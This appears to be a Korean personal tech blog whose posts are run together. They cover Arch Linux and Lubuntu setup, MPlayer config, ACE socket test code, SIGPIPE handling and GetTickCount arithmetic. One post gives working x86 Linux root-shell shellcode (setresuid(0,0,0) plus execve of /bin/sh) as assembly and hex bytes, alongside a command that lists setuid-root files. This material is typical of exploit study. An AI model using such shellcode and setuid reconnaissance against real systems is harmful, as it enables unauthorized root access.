노트북에는 아치리눅스가 짱인듯 싶네요.
일단 보통 리눅스(우분투, 데비얀)들 처럼 구형 386PC에 최적화된 배포판이 아닌 펜티엄 프로(i686) 이상급에 최적화된 배포판입니다. 그리고 군더더기가 전혀 없습니다.

단점으로는 초보가 설치하기가 어렵다는 단점이 있습니다.

노트북에 설치한것을 그냥 써놓습니다.
 
1. 아치 리눅스를 설치한다. 
  http://wiki.kldp.org/wiki.php/ArchInstall

2. X윈도우, lxde 메니저 설치. https://wiki.archlinux.org/index.php/LXDE
 $ pacman -S xorg-xinit
 $ pacman -S lxde leafpad xarchiver obconf epdfview
 $ mkdir -p  ~/.config/openbox
 $ cp /etc/xdg/openbox/* ~/.config/openbox
 
$ vi .xinitrc
export LANG=ko_KR.UTF-8
export XIM="nabi"
export XIM_PROGRAM="/usr/bin/nabi"
export XIM_ARGS=
export GTK_IM_MODULE="xim"
export XMODIFIERS="@im=nabi"
exec ck-launch-session startlxde

3. 한글 설정
yaout 설치
http://zeper.tistory.com/tag/Yaourt 참고

# 폰트및 입력기 설치 http://forcecore.tistory.com/1164
$ yaout -S nabi ttf-alee ttf-nanum ttf-nanumgothic_coding

4. network메니저 설치
$ pacman -S networkmanager network-manager-applet

5. 노트북 툴 설치
$ pacman -S laptop-mode-tools

6. usb 드라이브 auto mount
 $ pacman -S hal ntfs-3g

7. 데몬 자동으로 뜨게 하기
$ vi /etc/rc.conf
...
...
# DAEMONS DAEMONS=(hwclock syslog-ng network netfs crond dbus hal @alsa laptop-init @laptop-mode networkmanager)
8. 완료.





가볍게 돌아가는 리눅스를 설치할려면 먼저
 
1. 우분투 계열인 Lubuntu를 설치한다. 
 http://lubuntu.net/

2. 팬소리를 최소화로 조용하게 사용할려면( 단 속도는 좀 느려진다)
 $ sudo apt-get install sysfsutils cpufrequtils
 $ sudo vi /etc/sysfs.conf
 
devices/system/cpu/cpu0/cpufreq/scaling_governor = powersave
devices/system/cpu/cpu1/cpufreq/scaling_governor = powersave 

$ sudo /etc/init.d/sysfsutils restart


추가) 우분투보다는 아치리눅스가 더 가볍고 빠르더군요.
http://fehead.tistory.com/159 여기를 참고 하세요.
 

$ cat priv_shell.s
BITS 32
global _start

_start:
;setresuid(uid_t ruid, uid_t euid, uid_t suid)
xor ebx, ebx  ; root ruid = 0
xor ecx, ecx  ; root euid = 0
xor edx, edx ; root suid = 0
xor eax, eax
mov al, 0xa4 ; setresuid call number = 0xa4(164)
int 0x80

;int execve(const char * filename, char * const argv[], char * const envp[])
; execve("/bin//sh", ["/bin//sh", 0x0], [ 0x0 ]);

xor eax, eax  ; eax = 0
push eax
push '//sh'
push '/bin'   ; "/bin//sh", 0x0

mov ebx, esp  ; const char * filename = "/bin//sh", 0x0
push eax
mov edx, esp  ; char * const envp[] = [ 0 ]
push ebx
mov ecx, esp  ; char * const argv[] = [ "/bin//sh", 0 ]
mov al, 11
int 0x80


$ xxd priv_shell
0000000: 31db 31c9 31d2 31c0 b0a4 cd80 31c0 5068  1.1.1.1.....1.Ph
0000010: 2f2f 7368 682f 6269 6e89 e350 89e2 5389  //shh/bin..P..S.
0000020: e1b0 0bcd 80                             .....

$ cat tiny_shell.s
BITS 32
global _start

_start:
;int execve(const char * filename, char * const argv[], char * const envp[])
; execve("/bin//sh", ["/bin//sh", 0x0], [ 0x0 ]);

xor eax, eax  ; eax = 0
push eax
push '//sh'
push '/bin'   ; "/bin//sh", 0x0

mov ebx, esp  ; const char * filename = "/bin//sh", 0x0
push eax
mov edx, esp  ; char * const envp[] = [ 0 ]
push ebx
mov ecx, esp  ; char * const argv[] = [ "/bin//sh", 0 ]
mov al, 11
int 0x80

$ ndisasm -B32 tiny_shell
00000000  31C0              xor eax,eax
00000002  50                push eax
00000003  682F2F7368        push dword 0x68732f2f
00000008  682F62696E        push dword 0x6e69622f
0000000D  89E3              mov ebx,esp
0000000F  50                push eax
00000010  89E2              mov edx,esp
00000012  53                push ebx
00000013  89E1              mov ecx,esp
00000015  B00B              mov al,0xb
00000017  CD80              int 0x80

$ xxd tiny_shell
0000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e350  1.Ph//shh/bin..P
0000010: 89e2 5389 e1b0 0bcd 80                   ..S......


Mplayer 콘솔용 설정 파일
$ vi ~/.mplayer/config
unicode=yes
#subcp=euc-kr
subcp=cp949

fontconfig=1
font=Eunjin              ## fontconfig를 1로 맞추었다면 fc-list 명령으로 나온 영어 폰트명을 적는다.

#fontconfg=0
#font=/usr/share/fonts/TTF/UnPilgi.ttf       ## fontconfig가 0이면 폰트경로를 적어준다.

#af=volnorm     ## 사운드 노멀라이즈 - 성능저하가 심함.

subfont-autoscale=2  ## 동영상의 해상도에 비례 하여 글자의 크기를 맞춰줍니다 (1=높이, 2=넓이, 3=대각선)
#subfont-outline=3      ## 테두리의 두께를 정해줍니다.
#ffactor=1.5                ## 테두리 약간 투명


단축키 몇개
소리 음량 / or 9 (작게) * or 0(크게),
현재 보고있는 시간 :  o 두세번 눌러보면 나옴
전체 화면 : f 한번더 누르면 원래화면

find /-user root -perm -4000

위의 것은 root로 setuid가 걸린 파일들을 찾아준다.

여기서 에러가 화면에 출력되어 짜증나는데 에러가 나오지않게 할려면

끝에 2> /dev/null 를 추가하면된다.


find /-user root -perm -4000 2> /dev/null
Server
 * recv_n에 10초간 타임아웃을 주고 대기함
        char    buff[1024];
        size_t  recvLen = 0;
        ACE_Time_Value  timeout(10);
        int ret = peer.recv_n( buff, sizeof(buff)-1, &timeout, &recvLen );
        ACE_DEBUG( (LM_DEBUG,
                ACE_TEXT("ret[%d] recvLen[%d] : [%.*C]\n"),
                ret, recvLen, recvLen, buff) );
Client
 * 접속하자 마자 첫 메세지("Hello ")를 보내고(send_n)
 * 5초후 (sleep 5초) 나머지 데이터("World!")를 보내고 접속을 끊는다.
        peer.send_n( "Hello ", 6 );

        ACE_OS::sleep( 5 );
        peer.send_n( "World!" , 6 );
        peer.close();
 * 결과 :
 *  recv_n는 첫 메세지를 받고 timeout(10초)동안 블럭이 걸려있었으며
 *  5초후 나머지 데이터를 받고 0을 반환후에 종료하였습니다.
 *  받은 데이터 사이즈는 recv_n 4번째 인자로 받습니다.
$ ./recv
ret[0] recvLen[12] : [Hello World!]
서버 소스 Recv.C
/*
 * 10초간 recv를 걸어놓고 받는것을 테스트함.
 *
 * 상대방에서는(send.C) 접속하자 마자 첫 메세지를 보내고
 * 5초간 sleep를 준다음 나머지 데이터를 보내고 접속을 끊는다.
 *
 * 결과 :
 *  recv_n는 첫 메세지를 받고 timeout(10초)동안 블럭이 걸려있었으며
 *  5초후 나머지 데이터를 받고 0을 반환후에 종료하였습니다.
 *  받은 데이터 사이즈는 recv_n 4번째 인자로 받습니다.
 */
#include <ace/SOCK_Stream.h>
#include <ace/INET_Addr.h>
#include <ace/SOCK_Acceptor.h>
#include <ace/Time_Value.h>
#include <ace/Log_Msg.h>

int ACE_TMAIN( int, ACE_TCHAR * [] )
{
        ACE_INET_Addr   myaddr(9090);

        ACE_SOCK_Acceptor       acceptor;

        if( acceptor.open( myaddr ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("acceptor.open()")), 1 );
        }

        ACE_OS::sleep(5);
        ACE_SOCK_Stream peer;
        if( acceptor.accept( peer ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("acceptor.accept()")), 1 );
        }

        char    buff[1024];
        size_t  recvLen = 0;
        ACE_Time_Value  timeout(10);
        int ret = peer.recv_n( buff, sizeof(buff)-1, &timeout, &recvLen );
        if( ret == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("recv_n()")), 1 );
        }

        ACE_DEBUG( (LM_DEBUG, ACE_TEXT("ret[%d] recvLen[%d] : [%.*C]\n"), ret, recvLen, recvLen, buff) );
        peer.close();

        return 0;
}
클라이언트 소스
send.C
/*
 * 서버에 접속하자 마자 첫 메세지("Hello ")를 보내고
 * 5초간 sleep를 준다음 나머지 데이터( "World!\n")를 보내고 접속을 끊는다.
 */

#include <ace/SOCK_Stream.h>
#include <ace/INET_Addr.h>
#include <ace/SOCK_Connector.h>
#include <ace/Time_Value.h>
#include <ace/Log_Msg.h>
#include <ace/OS.h>

int ACE_TMAIN( int, ACE_TCHAR * [] )
{
        ACE_INET_Addr   svrAddr(9090, ACE_TEXT("127.0.0.1"));

        ACE_SOCK_Connector      conn;

        ACE_SOCK_Stream peer;
        if( conn.connect( peer, svrAddr ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("connect()")), 1 );
        }

        char    buff[1024];
        ACE_OS::strcpy( buff, "Hello " );
        if( peer.send_n( buff, ACE_OS::strlen(buff) ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("send_n() 2")), 1 );
        }

        ACE_OS::sleep( 5 );
        ACE_OS::strcpy( buff, "World!" );
        if( peer.send_n( buff, ACE_OS::strlen(buff) ) == -1 )
        {
                ACE_ERROR_RETURN( (LM_ERROR, ACE_TEXT("%p\n"), ACE_TEXT("send_n() 1")), 1 );
        }

        peer.close();

        return 0;
}

결과
$ ./recv
ret[0] recvLen[12] : [Hello World!]
서버가 죽는 현상이 발생하였고
SIGPIPE, 혹은 Broken pipie. 메세지가 나온다면

이미 닫힌 소켓에 데이터를 보내기를 했을것이다.

SIGPIPE를 검색해 보면 알겠지만 파이프가 끊겼을 경우 발생하는 signal이다.
아래 참고 사이트를 보면 알것이다.

만약에 SIGPIPE를 받아도 죽지않고 그대로 진행하게 할려면 해당 시그널을 무시해보리는 방법이 있다.
무시하는 방법은

고전적인 signal 함수 사용
signal(SIGPIPE, SIG_IGN);    // sigpipe 무시.

sigaction을 사용
struct sigaction act;
act.sa_handler = SIG_IGN;
sigemptyset( &act.sa_mask );
act.sa_flags = 0;
sigaction( SIGPIPE, &act, NULL );

ACE 프레임 워크를 사용한다면
ACE_Sig_Action sig_act (SIG_IGN); 
sig_act.register_action (SIGPIPE);

를 하면된다.

만약 send를 한후에 SIGPIPE에러를 인지 확인할려면
errno 값이 EPIPE 값인지 확인하면된다

참고 사이트
http://kelp.or.kr/korweblog/stories.php?story=02/03/13/6152214
http://blog.naver.com/PostView.nhn?blogId=hyungii&logNo=130081645365

* GetTickCount는 시스템이 시작되고 나서의 시간을 밀리 초로 반환하는 함수입니다.

* GetTickCount는 시스템이 시작되고 나서 49.7일이 지나면 0에서 다시 시작합니다.

 * GetTickCount가 오버플로우되어 0으로 값이 설정되었더라도 예전값과 - 연산을 해도 크게 지장은 없습니다.
  DWORD 형이 부호가 없기 때문에  현재값 - 예전값 은 49.7일 이전 값이 아니면 옳은 값을 반환합니다.

** 0x00000001 - 0x00000000 = 1
** 0x00000000 - 0xFFFFFFFF = 0x00000000 + (0xFFFFFFFF 2의보수) = 0x00000000 + (0x00000001) = 1


 간단하게 4bit 로 계산을 해보겠습니다.

4bit의 최대값은
1111 (2진수) == 15(10진수)

4bit의 최소값은
0000 (2진수) == 0(10진수)

최소값 - 최대값 을 계산해보면
1111의 2의 보수값은
1111의 역수 0000 더하기 1 = 0001

2진수) 0000 - 1111 = 0000 + 0001 = 0001
10진수) 0 - 15 = 0 + 1 = 1

따라서 값은 1이 나온다.

마찬가지로 5 - 15(4비트 최대값)는 6이 된다.
0101 - 1111 = 0101 + 0001 = 0110(6)

14 - 15 = 15
14 - 15(4비트 최대값) = 1110 - 1111 = 1110 + 0001 = 1111(15)


gnu date가 있으면 편하겠지만 없으면 perl을 이용하면된다.

아래는 오늘로 부터 15일 전 날짜를 출력한 것이다.

# 15일전 날짜 출력
$ perl -e 'my ($d, $m, $y) = (localtime(time-15*24*60*60))[3,4,5];  \
    printf "%04d%02d%02d", $y+1900, $m+1, $d;'

15*24*60*60 이부분을 바꾸면된다.


출력 결과
$ date
2010년 12월 22일 수요일 오후 05시 39분 55초

$ perl -e 'my ($d, $m, $y) = (localtime(time-15*24*60*60))[3,4,5];  printf "%04d%02d%02d", $y+1900, $m+1, $d;'
20101207

+ Recent posts